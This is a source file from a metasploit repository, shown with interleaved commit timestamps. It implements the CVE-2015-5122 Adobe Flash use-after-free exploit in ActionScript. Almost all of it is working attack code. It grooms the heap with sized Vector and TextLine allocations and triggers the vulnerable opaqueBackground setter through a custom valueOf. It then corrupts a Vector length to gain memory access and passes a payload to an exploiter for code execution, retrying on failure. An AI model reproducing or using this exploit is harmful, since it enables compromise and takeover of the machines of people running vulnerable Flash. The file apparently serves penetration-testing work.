Files
metasploit-gs/external/source/exploits/CVE-2015-5122/MyClass.as
T

150 lines
5.5 KiB
ActionScript
Raw Normal View History

2015-07-11 00:28:55 -05:00
package
{
import flash.display.DisplayObjectContainer;
import flash.utils.ByteArray;
import flash.system.Capabilities;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.text.*;
import flash.text.*;
import flash.text.engine.*;
public class MyClass
{
static var
_gc:Array,
_ar:Array,
2015-07-16 14:56:32 -05:00
_ar_reuse:Array,
_ar_text_line:Array,
2015-07-11 00:28:55 -05:00
_arLen:int,
2015-07-16 14:56:32 -05:00
_ar_reuseLen:int,
_ar_text_lineLen:int,
2015-07-11 00:28:55 -05:00
_vu:Vector.<uint>,
_tb:TextBlock,
_mc:MyClass,
_cnt:int,
_vLen:int,
LEN40:uint = 0x40000000;
static function valueOf2()
{
try
2015-07-16 14:56:32 -05:00
{
if (++_cnt < _ar_text_lineLen) {
//recursive call for next TextLine
_ar_text_line[_cnt].opaqueBackground = _mc;
2015-07-11 00:28:55 -05:00
} else {
2015-07-16 14:56:32 -05:00
for(var i:int = 1; i <= 19; i++)
_tb.recreateTextLine(_ar_text_line[_ar_text_lineLen - i]);
2015-07-11 00:28:55 -05:00
// reuse freed memory
2015-07-16 14:56:32 -05:00
for(i=0; i < _ar_reuseLen; i++)
_ar_reuse[i].length = _vLen;
2015-07-11 00:28:55 -05:00
}
}
catch (e:Error)
{
Logger.log("valueOf2 " + e.toString());
}
2015-07-16 14:56:32 -05:00
2015-07-11 00:28:55 -05:00
return _vLen+8;
}
2015-07-16 14:56:32 -05:00
static function TryExpl(e:Exploit, platform:String, payload:ByteArray, try_number:uint)
2015-07-11 00:28:55 -05:00
{
2015-07-16 14:56:32 -05:00
if (try_number > 3)
return
2015-07-11 00:28:55 -05:00
try
{
// init vars
Logger.log("init vars")
2015-07-16 14:56:32 -05:00
_arLen = 30
_ar_text_lineLen = 50
_ar_reuseLen = 80
2015-07-11 00:28:55 -05:00
_ar = new Array(_arLen);
2015-07-16 14:56:32 -05:00
_ar_text_line = new Array(_ar_text_lineLen)
_ar_reuse = new Array(_ar_reuseLen)
2015-07-11 00:28:55 -05:00
if (!_gc) _gc = new Array();
_gc.push(_ar);
2015-07-16 14:56:32 -05:00
_gc.push(_ar_text_line);
_gc.push(_ar_reuse);
2015-07-11 00:28:55 -05:00
if (!_tb) {
_tb = new TextBlock(new TextElement("TextElement", new ElementFormat()));
if (!_tb) throw new Error("_tb = " + _tb);
}
2015-07-16 14:56:32 -05:00
2015-07-11 00:28:55 -05:00
_mc = new MyClass();
2015-07-16 14:56:32 -05:00
2015-07-11 00:28:55 -05:00
_vLen = 400/4-2;
// fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)
Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)")
2015-07-16 14:56:32 -05:00
for(var i:uint = 0; i < _arLen; i++)
_ar[i] = new Vector.<uint>(_vLen)
2015-07-11 00:28:55 -05:00
// prepare Vector objects
Logger.log("prepare Vector objects")
2015-07-16 14:56:32 -05:00
for(i = 0; i < _ar_reuseLen; i++) {
_ar_reuse[i] = new Vector.<uint>(8);
_ar_reuse[i][0] = i;
_ar_reuse[i][1] = 0xdeedbeef
2015-07-11 00:28:55 -05:00
}
// prepare TextLines
Logger.log("prepare TextLines")
2015-07-16 14:56:32 -05:00
for(i = 0; i < _ar_text_lineLen; i++)
_ar_text_line[i] = _tb.createTextLine()
2015-07-11 00:28:55 -05:00
// fill 1016-byte holes (0x38c is a size of internal TextLine object)
Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)")
2015-07-16 14:56:32 -05:00
for(i = 0; i < _ar_text_lineLen; i++)
_ar_text_line[i].opaqueBackground = 1 // alloc 1016 bytes
2015-07-11 00:28:55 -05:00
// set custom valueOf() for _mc
Logger.log("set custom valueOf() for _mc")
2015-07-16 14:56:32 -05:00
MyClass.prototype.valueOf = valueOf2
2015-07-11 00:28:55 -05:00
// here we go, call the vulnerable setter
Logger.log("here we go, call the vulnerable setter")
2015-07-16 14:56:32 -05:00
//_cnt = _ar_text_lineLen - 6
_cnt = _ar_text_lineLen - 20
_ar_text_line[_cnt].opaqueBackground = _mc
2015-07-11 00:28:55 -05:00
// find corrupted vector length
Logger.log("find corrupted vector length ")
2015-07-16 14:56:32 -05:00
for(i=0; i < _ar_reuseLen; i++) {
_vu = _ar_reuse[i];
2015-07-11 00:28:55 -05:00
if (_vu.length > _vLen+2) {
Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16));
Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16));
if (_vu[_vLen] == _vLen) {
// corrupt next vector
_vu[_vLen] = LEN40;
// get corrupted vector
2015-07-16 14:56:32 -05:00
_vu = _ar_reuse[_vu[_vLen+2]];
2015-07-11 00:28:55 -05:00
break;
}
};// else CheckCorrupted(_vu, i); // 4RnD
}
// check results
Logger.log("v.length = " + _vu.length.toString(16));
2015-07-16 14:56:32 -05:00
2015-07-11 00:28:55 -05:00
if (_vu.length < LEN40) throw new Error("try again");
2015-07-16 14:56:32 -05:00
var exploiter:Exploiter = new Exploiter(e, platform, payload, _vu, 0x62)
2015-07-11 00:28:55 -05:00
}
2015-07-16 14:56:32 -05:00
catch (err:Error)
2015-07-11 00:28:55 -05:00
{
2015-07-16 14:56:32 -05:00
Logger.log("TryExpl " + err.toString());
if (err.toString().indexOf("try again") != -1) {
MyClass.TryExpl(e, platform, payload, try_number + 1)
}
2015-07-11 00:28:55 -05:00
}
}
}
}